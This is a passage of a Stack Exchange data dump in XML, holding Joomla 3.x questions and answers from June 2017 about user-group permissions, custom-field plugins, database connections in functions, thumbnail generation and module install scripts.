  <row Id="21031" PostTypeId="1" CreationDate="2017-06-21T08:47:20.713" Score="0" ViewCount="756" Body="&lt;p&gt;I created a new usergroup (Administrator) to allow access to the backend, only to specific components in Joomla 3.7.2.&#xA;These are the settings in Global Config for this group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BeJZk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BeJZk.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when a user belonging to this group logs in to admin, this is what she gets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3vmx1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3vmx1.jpg&quot; alt=&quot;The top&quot;&gt;&lt;/a&gt; menu and admin dashboard are gone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get this right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2017-06-23T21:23:34.473" Title="Admin interface menu not showing" Tags="|administrator|user-groups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21033" PostTypeId="1" CreationDate="2017-06-21T09:33:28.267" Score="3" ViewCount="328" Body="&lt;p&gt;I created a plugin to add custom fields to the joomla com_content core. I add the fields to the backend and frontend. Now the new tab is shown on every post but i want to show the tab and the fields just for one specific category (id=43). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how i add the new form to the backend and frontend: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA;&#xA;class plgContentComputerverzeichnis extends JPlugin {&#xA;&#xA;        function onContentPrepareForm($form, $data) {&#xA;&#xA;                $app = JFactory::getApplication();&#xA;                $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;                switch($option) {&#xA;&#xA;                    case 'com_content':&#xA;                        if ($app-&amp;gt;isAdmin()) { &#xA;                            JForm::addFormPath(__DIR__ . '/forms');&#xA;                            $form-&amp;gt;loadFile('content', false); &#xA;                        }&#xA;                    case 'com_content':&#xA;                        if ($app-&amp;gt;isSite()) {&#xA;                            JForm::addFormPath(__DIR__ . '/forms');&#xA;                            $form-&amp;gt;loadFile('content', false);&#xA;                        }&#xA;                    return true;&#xA;&#xA;                }&#xA;                return true;&#xA;        }&#xA;&#xA;}&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is my form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;attribs&quot; &amp;gt;&#xA;        &amp;lt;fieldset name=&quot;custom&quot; label=&quot;Lizenzinformationen&quot;&amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;typ&quot; type=&quot;list&quot; label=&quot;Typ&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;-&quot;&amp;gt;Wähle einen Typ aus!&amp;lt;/option&amp;gt;  &#xA;                &amp;lt;option value=&quot;1&quot;&amp;gt;Mac&amp;lt;/option&amp;gt;  &#xA;                &amp;lt;option value=&quot;2&quot;&amp;gt;PC&amp;lt;/option&amp;gt;      &#xA;                &amp;lt;option value=&quot;3&quot;&amp;gt;Server&amp;lt;/option&amp;gt;      &#xA;            &amp;lt;/field&amp;gt;&#xA;&#xA;            &amp;lt;field&#xA;                name=&quot;arbeitsplatz&quot;&#xA;                type=&quot;sql&quot;&#xA;                label=&quot;Arbeitsplatz&quot;&#xA;                query=&quot;SELECT id, name FROM #__users&quot;&#xA;                key_field=&quot;id&quot; &#xA;                value_field=&quot;name&quot;&#xA;                header=&quot;Wähle einen Arbeitsplatz aus&quot;&#xA;                showon=&quot;typ:1[OR]typ:2&quot;&#xA;                &amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;computerversion&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;Computerversion&quot;&#xA;                showon=&quot;typ:1[OR]typ:2[OR]typ:3&quot;&#xA;            /&amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;notizen&quot; type=&quot;editor&quot; label=&quot;Notizen&quot; description=&quot;&quot; width=&quot;300&quot; filter=&quot;safehtml&quot; showon=&quot;typ:1[OR]typ:2[OR]typ:3&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4156" LastActivityDate="2017-08-15T22:29:04.380" Title="Adding custom fields to core components based on category" Tags="|joomla-3.x|plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21034" PostTypeId="2" ParentId="21033" CreationDate="2017-06-21T11:34:15.840" Score="3" Body="&lt;p&gt;I now created a field inside the plugin where i can select the categories where the fields are shown. In my plugin i select these categories and just show the form when the post belong to one of these categories. This works, but now when i save the post. The changes are not been saved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA;&#xA;class plgContentComputerverzeichnis extends JPlugin {&#xA;&#xA;        function onContentPrepareForm($form, $data) {&#xA;&#xA;                $app = JFactory::getApplication();&#xA;                $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;                $include_categories = $this-&amp;gt;params-&amp;gt;get('include_categories');&#xA;&#xA;                switch($option) {&#xA;&#xA;                    case 'com_content':&#xA;                        if ($app-&amp;gt;isAdmin()) { &#xA;                            JForm::addFormPath(__DIR__ . '/forms');&#xA;                            $form-&amp;gt;loadFile('content', false);&#xA;                        }&#xA;                    case 'com_content':&#xA;                        if ($app-&amp;gt;isSite()) {&#xA;                            if (in_array($data-&amp;gt;catid, $include_categories)) {&#xA;                                JForm::addFormPath(__DIR__ . '/forms');&#xA;                            } &#xA;                            $form-&amp;gt;loadFile('content', false);&#xA;                        }&#xA;                    return true;      &#xA;                }&#xA;            return true;&#xA;        }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4156" LastActivityDate="2017-06-21T11:34:15.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21036" PostTypeId="1" AcceptedAnswerId="21049" CreationDate="2017-06-21T15:28:15.217" Score="1" ViewCount="65" Body="&lt;p&gt;I have created a custom module and I want to change the module chrome to &quot;none&quot;.  This can be achieved in the back end, but I would like it as the default behaviour in case others use the module.  I want it to be as simple as possible to work out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this automatically?  The XML file does not include this option so I cannot do it in there.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="126" LastEditDate="2017-06-27T12:32:43.600" LastActivityDate="2017-06-27T12:32:43.600" Title="Running install script on Module Installation: How can I set a module chrome programatically?" Tags="|joomla-3.x|module|joomla-api|installation|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21037" PostTypeId="1" CreationDate="2017-06-21T20:44:28.177" Score="1" ViewCount="1098" Body="&lt;p&gt;I am trying to upgrade my site from 3.6.5 to 3.7.2, after uploading the upgrade package and inputting the administrator username and password, I get a &quot;403 access forbidden&quot; error. I think this must have something to do with some folders' permission not correctly set. But I've checked the &lt;code&gt;logs&lt;/code&gt; and &lt;code&gt;tmp&lt;/code&gt; folder, they are all writable, also I've checked the &quot;folder permission&quot;, everything is writable here. So I am really stuck here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: Live upgrade is not available to me, for some reason, every time I try live upgrade I get a 500 error. This is beyond the scope of this question.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2017-12-22T12:49:17.517" Title="403 access forbidden when upgrading to 3.7" Tags="|upgrade|joomla-3.7|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21038" PostTypeId="1" CreationDate="2017-06-22T01:09:55.693" Score="2" ViewCount="3339" Body="&lt;p&gt;So I'm attempting to install Joomla on a lemp stack, ubuntu 16.04, php7. I use the same lemp stack for Wordpress sites all the time no hassle. I unzipped the Joomla files into my /html/ directory and I'm getting the above error. It doesn't tell me a lot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I googled it I found a lot of people getting the same error with a few extra lines that seemed to be related to the database however as I haven't even got to the Joomla install page to give it the database username and password I find it unlikely to be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Folder/File permissions are set to 755/644 respectively and everything is chown -R www-data:www-data. If I replace index.php with the following it works fine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;phpinfo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="11223" LastActivityDate="2017-06-22T01:09:55.693" Title="Error displaying the error page" Tags="|joomla-3.x|php|nginx|" AnswerCount="0" CommentCount="4" ClosedDate="2018-10-22T15:15:01.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="21040" PostTypeId="1" CreationDate="2017-06-22T09:49:21.873" Score="2" ViewCount="1025" Body="&lt;p&gt;I have the following code in an article using Sourcerer and it works fine but I would like to move the connection section out of the function so that I only need to create it once for multiple functions but I'm struggling to make it work. Outside Joomla I would have just called it as global $option or $db but neither work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function getclientstock($client) {&#xA;&#xA;&#xA;$option=array();&#xA;$option['driver']   = 'mysql';            // Database driver name&#xA;$option['host']     = 'localhost';    // Database host name&#xA;$option['user']     = 'user';       // User for database authentication&#xA;$option['password'] = 'pass';   // Password for database authentication&#xA;$option['database'] = 'database';      // Database name&#xA;$option['prefix']   = '';             // Database prefix (may be empty)&#xA;$db=JDatabaseDriver::getInstance($option);&#xA;&#xA;    $query=$db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('unit_imei' , 'client')));&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('connections'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('client') . ' = ' . $db-&amp;gt;quote($client));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result=$db-&amp;gt;loadAssocList();&#xA;    return $result;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11225" LastActivityDate="2018-01-19T06:08:11.717" Title="Access external database connection in function?" Tags="|joomla-3.x|database|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21041" PostTypeId="2" ParentId="21037" CreationDate="2017-06-22T11:56:24.350" Score="0" Body="&lt;p&gt;Can you try to clear your cookies and login again? This sounds like a token related issue specific to one of those Joomla upgrades.&lt;/p&gt;&#xA;" OwnerUserId="3546" LastActivityDate="2017-06-22T11:56:24.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21042" PostTypeId="1" CreationDate="2017-06-22T14:28:00.700" Score="1" ViewCount="1095" Body="&lt;p&gt;I have articles with &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Media_Field/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom fields type media&lt;/a&gt;. I need to create thumbnails from these images with a fixed widths (&lt;code&gt;1200px, 700px, 450px and 250px&lt;/code&gt;) to display with the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/picture&quot; rel=&quot;nofollow noreferrer&quot;&gt;picture element&lt;/a&gt; and on different views (blog display and article display).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the article view, I am using a template override with the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JImage.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JImage class&lt;/a&gt; to &lt;strong&gt;create the thumbnails&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$fields = $this-&amp;gt;item-&amp;gt;jcfields;&#xA;foreach ($fields as $field):&#xA;    if ($field-&amp;gt;type == 'media'):&#xA;        $img_path = $field-&amp;gt;rawvalue;&#xA;        $image = new JImage($img_path);&#xA;        $image-&amp;gt;setThumbnailGenerate(true);&#xA;        $scale_method = JImage::SCALE_INSIDE;&#xA;&#xA;        $img_L  = $image-&amp;gt;createThumbs('1200x12000', $scale_method)[0]-&amp;gt;getPath();&#xA;        $img_M  = $image-&amp;gt;createThumbs('700x7000', $scale_method)[0]-&amp;gt;getPath();&#xA;        $img_S  = $image-&amp;gt;createThumbs('450x4500', $scale_method)[0]-&amp;gt;getPath();&#xA;        $img_XS = $image-&amp;gt;createThumbs('250x2500', $scale_method)[0]-&amp;gt;getPath();&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;picture&amp;gt;&#xA;            &amp;lt;source  srcset=&quot;&amp;lt;?php echo $img_L ?&amp;gt;&quot;  media=&quot;(min-width: 2001px)&quot;/&amp;gt;&#xA;            &amp;lt;source  srcset=&quot;&amp;lt;?php echo $img_M ?&amp;gt;&quot;  media=&quot;(min-width: 1201px) and (max-width: 2000px)&quot;/&amp;gt;&#xA;            &amp;lt;source  srcset=&quot;&amp;lt;?php echo $img_S ?&amp;gt;&quot;  media=&quot;(min-width: 701px) and (max-width: 1200px)&quot;/&amp;gt;&#xA;            &amp;lt;source  srcset=&quot;&amp;lt;?php echo $img_XS ?&amp;gt;&quot; media=&quot;(min-width: 401px) and (max-width: 700px)&quot;/&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $img_M ?&amp;gt;&quot; srcset=&quot;&amp;lt;?php echo $img_M . ', ' . $img_L . ' 2x'?&amp;gt;&quot; alt=&quot;Responsive image&quot; /&amp;gt;&#xA;        &amp;lt;/picture&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php   endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My concern is mostly about performance and method :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Perfomance:&lt;/strong&gt; this code implies the thumbnails are recreatred each time the page is loaded (the view can be cached but even though)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Method:&lt;/strong&gt; is there a simpler way to create thumbnail creation (for example creating them when the article is saved in the backend)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2017-06-22T15:23:52.013" LastActivityDate="2017-06-23T10:19:06.767" Title="Create thumbnails with custom field images" Tags="|joomla-3.x|template-override|custom-field|images|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21043" PostTypeId="2" ParentId="21042" CreationDate="2017-06-22T20:37:21.823" Score="1" Body="&lt;p&gt;You are correct, this way you will be creating thumbnails all the time... &#xA;One possibility would be to adjust your implementation in such a way, so that it will only create thumbnails on the first load and then store their paths/names in the database. Then you can check against the existence of thumbnails and their consistency with the original file and only recreate them if you have updated the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible to do this during content creation with a content plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentBeforeSave&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/Content#onContentBeforeSave&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-06-23T10:19:06.767" LastActivityDate="2017-06-23T10:19:06.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21044" PostTypeId="2" ParentId="21040" CreationDate="2017-06-22T22:30:44.837" Score="1" Body="&lt;p&gt;If you are doing multiple function all on the same page you could setup the database connection and then pass it to the different functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this answer on Stack OverFlow:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/11492285/the-correct-way-to-include-connection-using-mysqli&quot;&gt;https://stackoverflow.com/questions/11492285/the-correct-way-to-include-connection-using-mysqli&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $option=array();&#xA;    $option['driver']   = 'mysql';            // Database driver name&#xA;    $option['host']     = 'localhost';    // Database host name&#xA;    $option['user']     = 'user';       // User for database authentication&#xA;    $option['password'] = 'pass';   // Password for database authentication&#xA;    $option['database'] = 'database';      // Database name&#xA;    $option['prefix']   = '';             // Database prefix (may be empty)&#xA;    $db=JDatabaseDriver::getInstance($option);   &#xA;&#xA;    function getclientstock($db, $client) {&#xA;&#xA;        $query=$db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($db-&amp;gt;quoteName(array('unit_imei' , 'client')));&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('connections'));&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('client') . ' = ' . $db-&amp;gt;quote($client));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result=$db-&amp;gt;loadAssocList();&#xA;        return $result;&#xA;    };&#xA;&#xA;    function setclientstock($db, $client) {&#xA;      // code here...&#xA;&#xA;    };&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3779" LastActivityDate="2017-06-22T22:30:44.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21045" PostTypeId="2" ParentId="17402" CreationDate="2017-06-22T23:51:31.240" Score="5" Body="&lt;p&gt;It's likely that you have an extension that is not compatible with PHP 7 yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;temporarily switching back to PHP 5.6&lt;/li&gt;&#xA;&lt;li&gt;upgrading all third party extensions to the latest versions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1HJj02l3ByBvJF-Q67XXuGmrFvS8iIBEnDEcVcmwqzLc/edit?pref=2&amp;amp;pli=1#gid=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/spreadsheets/d/1HJj02l3ByBvJF-Q67XXuGmrFvS8iIBEnDEcVcmwqzLc/edit?pref=2&amp;amp;pli=1#gid=0&lt;/a&gt; for which extensions are compatible with PHP 7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I am aware, this document was created by &lt;a href=&quot;https://joomla.stackexchange.com/users/1550/radek-suski&quot;&gt;Radek Suski&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once everything is working again, switch back to &lt;a href=&quot;https://www.php.net/supported-versions.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;a supported version of PHP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-08-16T02:29:01.817" LastActivityDate="2019-08-16T02:29:01.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21046" PostTypeId="1" AcceptedAnswerId="21056" CreationDate="2017-06-23T09:43:35.980" Score="1" ViewCount="143" Body="&lt;p&gt;I'm slowly working my way through a number of bug fixes across a number of sites and came to this one, which has had me baffled for quite some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site uses a Masthead/Masshead (whichever it is) module and just after the page loads, this seems to jump up slightly behind the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have a look at any of the treatments pages There is a dark green Masthead - shortly after load this moves upwards and the white text becomes closer to the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really can't figure out what is causing this, I have requested support from the Template developer but unfortunately they were less than helpful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that there are some conflicting css classes but I am by no means a css expert. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&#xA;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-06-26T14:10:45.417" LastActivityDate="2017-06-26T14:10:45.417" Title="Masthead module 'Jumping' just after page load" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21048" PostTypeId="2" ParentId="21031" CreationDate="2017-06-23T21:23:34.473" Score="1" Body="&lt;p&gt;The solution is to allow access to the module for the Admin Menu for this usergroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite simple... :-)&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2017-06-23T21:23:34.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21049" PostTypeId="2" ParentId="21036" CreationDate="2017-06-24T05:25:18.350" Score="1" Body="&lt;h1&gt;Updated Answer:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;After your explanations I see what you are after.&lt;br&gt;&#xA;Indeed you can do this during the installation of your module. Since the module is intented for the backend and you only going to need 1 instance of it, setting the module chrome during the installation does make some sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your module's &lt;code&gt;install.php&lt;/code&gt; you can update the module that is created during installation with a &lt;code&gt;postflight&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function postflight($type, $parent)&#xA;{&#xA;    // check if it's the first time the module is installed.&#xA;    if($type == 'install') &#xA;    {&#xA;        $db = JFactory::getDBO();&#xA;        $module_name = 'your_module_name';&#xA;&#xA;        // get module id that is created during installation &#xA;        $query = 'SELECT `id`' .&#xA;            ' FROM `#__modules`' .&#xA;            ' WHERE module = ' . $db-&amp;gt;quote($module_name);&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        try&#xA;        {&#xA;            $moduleid = $db-&amp;gt;loadResult();&#xA;        }&#xA;        catch (Exception $e)&#xA;        {&#xA;            $moduleid = '';&#xA;        }&#xA;&#xA;        // Do we have a module?&#xA;        if (!empty($moduleid) )&#xA;        {&#xA;            // Get Modules' JTable&#xA;            $module = JTable::getInstance('module');&#xA;&#xA;            // Load the module instance by id&#xA;            $module-&amp;gt;load($moduleid);&#xA;            $params = array(&#xA;                'style' =&amp;gt; 'System-none',&#xA;                'cache' =&amp;gt; 0&#xA;            );&#xA;&#xA;            // Set Module's properties&#xA;            $module-&amp;gt;set('title', (string) 'This is my title');&#xA;            $module-&amp;gt;set('position', (string) 'New Position');&#xA;            $module-&amp;gt;set('params', json_encode($params));&#xA;&#xA;            // Store in the database&#xA;            $module-&amp;gt;store();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can find more info about including an installation script with your module:&lt;br&gt;&#xA; &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Creating Simple Module/ Adding Install-unintall-update script.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Initial Answer:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As said in my comment above, it's not clear what you are asking or your actual problem is. So I am going to make a guess that you have developed a module for which you would prefer to not showing anything around it when it's installed and set to show on a module position, so you are looking for a piece of code inside your module, that would somehow do this? (is this what you are talking about ???).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module Chrome&lt;/strong&gt; though, isn't something that is controlled on the module level, rather than it is a Template Feature. It defines a &quot;layout&quot;/html markup of a module position on a template, it happens outside of the module and it's not something that any module instance knows anything about it or care. Module Chrome isn't something that a module developer would have to think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Programatically&lt;/strong&gt;, it can be set to a default choice, for each module position, but this is done by the template when module positions are defined in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it's done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-1&quot; style=&quot;none&quot; /&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-2&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something that of course can be overriden by the end-user when creating and assigning any module on any position.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-06-25T08:39:21.217" LastActivityDate="2017-06-25T08:39:21.217" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21051" PostTypeId="1" CreationDate="2017-06-25T05:33:26.853" Score="1" ViewCount="331" Body="&lt;p&gt;I've created an additional media field to include in some articles, and I noticed that the ALT and Title attribute for the media field can not be set to the image.&#xA;I need suggestions for an override or how to implement these tags.&lt;/p&gt;&#xA;" OwnerUserId="7532" LastActivityDate="2017-08-24T11:18:12.163" Title="Joomla media extra field without Alt tag" Tags="|joomla-3.x|custom-field|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21052" PostTypeId="2" ParentId="21051" CreationDate="2017-06-25T09:35:42.243" Score="1" Body="&lt;p&gt;First, you'll need to create a separate field for the alt tag.  Make a note of this and the image field's ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then need to override the article layout.  To do this, copy &lt;code&gt;components\com_content\views\article\tmpl\default.php&lt;/code&gt; to &lt;code&gt;templates\yourtemplate\html\com_content\article\default.php&lt;/code&gt; (where 'yourtemplate' is the name of the template you are using).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where you want the image to appear, you should then add some code along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHTML::_('image', $this-&amp;gt;item-&amp;gt;jcfields[1]-&amp;gt;rawvalue,$this-&amp;gt;item-&amp;gt;jcfields[2]-&amp;gt;rawvalue, [&quot;title&quot;=&amp;gt;$this-&amp;gt;item-&amp;gt;jcfields[2]-&amp;gt;rawvalue]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code assumes that your image field has an ID of 1, and your alt and title field has an ID of 2.  Just swap these numbers if not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, try adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;above the code, though I think this helper should already be called on the article view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional validation code may be required if it is not a required field, but the above should be the basics.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-06-25T09:43:57.057" LastActivityDate="2017-06-25T09:43:57.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21053" PostTypeId="2" ParentId="4531" CreationDate="2017-06-25T14:43:02.797" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n564o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n564o.png&quot; alt=&quot;[1]: https://i.stack.imgur.com/FmH&quot;&gt;&lt;/a&gt;B9.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all you should check the &lt;code&gt;administrator/cache&lt;/code&gt; and &lt;code&gt;/cache&lt;/code&gt; folders exist.  Obviously &lt;code&gt;file cache&lt;/code&gt; can't work without those folders.  If they don't exist just create them and that may solve the problem.  If the problem is still not solved then perhaps the below has happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This occurred to me when I transferred my site to a new location.  When I investigated the configuration.php file at the bottom of the file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public $cache_path = '/home/xxxxxx/cache';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was incorrect and had the old location.  This was causing Joomla! to say:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Failed to load 'XXXXX' template: Joomla cache path does not exist!&lt;/code&gt; and in the back end &lt;code&gt;cache path does not exist&lt;/code&gt;.  I also could not see the &lt;code&gt;file&lt;/code&gt; option in the global configuration.  I also could not save the global configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing my configuration.php file manually resolved this issue for me.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RVZFs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RVZFs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now you can also see the &lt;code&gt;path to cache folder&lt;/code&gt; and edit it (bit late of course).  I've submitted an issue to Joomla! as I 